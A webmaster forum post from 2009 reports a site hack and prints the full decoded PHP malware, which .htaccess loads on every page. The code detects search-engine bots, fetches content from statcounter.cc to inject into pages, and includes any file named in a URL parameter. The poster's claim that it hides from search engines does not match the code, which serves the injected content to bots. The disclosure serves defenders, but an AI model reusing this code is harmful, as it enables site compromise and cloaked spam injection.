08-26-09, 12:50 PM
Level II Curmudgeon
Join Date: Dec 2004
Posts: 3,027
Thanks: 14
Thanked 35 Times in 33 Posts
Hacks using statcounter.cc
I've seen some interesting hacks that reference "statcounter.cc" recently. The code is placed in a PHP base64-encoded file and then the .htaccess file is hacked to add lines that load the file with every page view. The base64-encoded file goes by a variety of different names, including "backupdata.php" and "datainclude.php", among others.
What's interesting about this code is that it tries to avoid the major search engines by detecting them and then not loading the code if it thinks a search engine is looking at the page. I've pasted the decoded PHP in below. If you search for "statcounter.cc" you get almost no hits in Google, probably because it's cloaking itself when Google scans the page. In the case I saw, the code that referenced the file to be loaded was incorrect, so the site stopped dead and wouldn't load at all. A few cases appear to expose the code accidentally as a result of reference errors.
"backupdata.php" or "datainclude.php"
PHP Code:
define ( 'CC_TIMEOUT' , 60 ); define ( 'CC_FSOCK_PACKET_SIZE' , 8192 ); function go_linkator ( $buffer ) { global $response ; if( $response ){ $text_to_insert = "\n<div> $response </div>\n" ; return ( preg_replace ( "/(<\W*body[^>]*>)/i" , "\\1" . $text_to_insert , $buffer )); }else return ( $buffer ); }; function doc_out (){ ob_start ( "go_linkator" ); if (isset( $_GET [ 'file' ])) { $incfile = $_GET [ 'file' ]; }else{ $incfile = $_SERVER [ "REDIRECT_QUERY_STRING" ]; $incfile = preg_replace ( "/^[^\/]+/i" , "" , $incfile ); $incfile = preg_replace ( "/^([^&]+)&.*/i" , "\\1" , $incfile ); } chdir ( dirname ( $incfile )); $file = basename ( $incfile ); include( $file ); ob_end_flush (); return( 1 ); } $botRegexps = array( 'msn' => '#^msnbot#i' , 'google' => '#googlebot#i' , 'yahoo' => '#Slurp#i' ,); $servers = array( 'http://statcounter.cc/server.php' ,); if (!isset( $_SERVER [ 'HTTP_USER_AGENT' ]) || '' == $_SERVER [ 'HTTP_HOST' ] . $_SERVER [ 'REQUEST_URI' ]) {return( doc_out ());} $userAgent = $_SERVER [ 'HTTP_USER_AGENT' ]; $referer = $_SERVER [ 'HTTP_HOST' ] . $_SERVER [ 'REQUEST_URI' ]; $detectedBot = null ; foreach ( $botRegexps as $bot => $regexp ) { if ( preg_match ( $regexp , $userAgent )) { $detectedBot = $bot ;break;} } if ( null === $detectedBot ) {return( doc_out ());} $urlParams = '?' . implode ( '&' , array( 'bot=' . rawurlencode ( $detectedBot ), 'referer=' . rawurlencode ( $referer ),)); foreach ( $servers as $server ) { $url = $server . $urlParams ; if ( extension_loaded ( 'curl' )) { $ch = curl_init ( $url ); curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , true ); curl_setopt ( $ch , CURLOPT_HEADER , false ); curl_setopt ( $ch , CURLOPT_TIMEOUT , CC_TIMEOUT ); if ( false === $response = curl_exec ( $ch )) { curl_close ( $ch );continue;} curl_close ( $ch ); } else { $headers = array(); $callback = create_function ( '$text' , 'return ((\'_\' == $text[1]) ? \'-\' : \'\') . strtoupper($text[2]);' ); foreach ( $_SERVER as $key => $value ) { if ( 'HTTP_' == substr ( $key , 0 , 5 )) { $key = preg_replace_callback ( '#(^|_)(.)#' , $callback , strtolower ( substr ( $key , 5 ))); if ( 'Host' != $key ) { $headers [ $key ] = $value ;} } } $urlInfo = parse_url ( $url ) + array( 'port' => 80 , 'path' => '/' ,); $headers = array( 'Host' => $urlInfo [ 'host' ], 'Connection' => 'Close' ,) + $headers ; $fp = fsockopen ( $urlInfo [ 'host' ], $urlInfo [ 'port' ], $errNo , $errStr , CC_TIMEOUT ); if (! $fp ) {continue;} if (! stream_set_timeout ( $fp , CC_TIMEOUT )) { fclose ( $fh );continue;} $rn = "\r\n" ; $request = 'GET ' . $urlInfo [ 'path' ] . ' HTTP/1.1' . $rn ; foreach ( $headers as $key => $value ) { $request .= $key . ': ' . $value . $rn ;} $request .= $rn ; if ( false === fwrite ( $fp , $request )) {continue;} $response = '' ; while (! feof ( $fp )) { if ( false === $chunk = fread ( $fp , CC_FSOCK_PACKET_SIZE )) { $response = false ; fclose ( $fp );break;}; $response .= $chunk ; } fclose ( $fp ); $response = preg_replace ( '#^.*?(\n|\r\n|\n\r){2}#ms' , '' , $response , 1 ); } # if ('' != $response) {print('<u style="display: none">' . $response .'</u>');} return( doc_out ()); }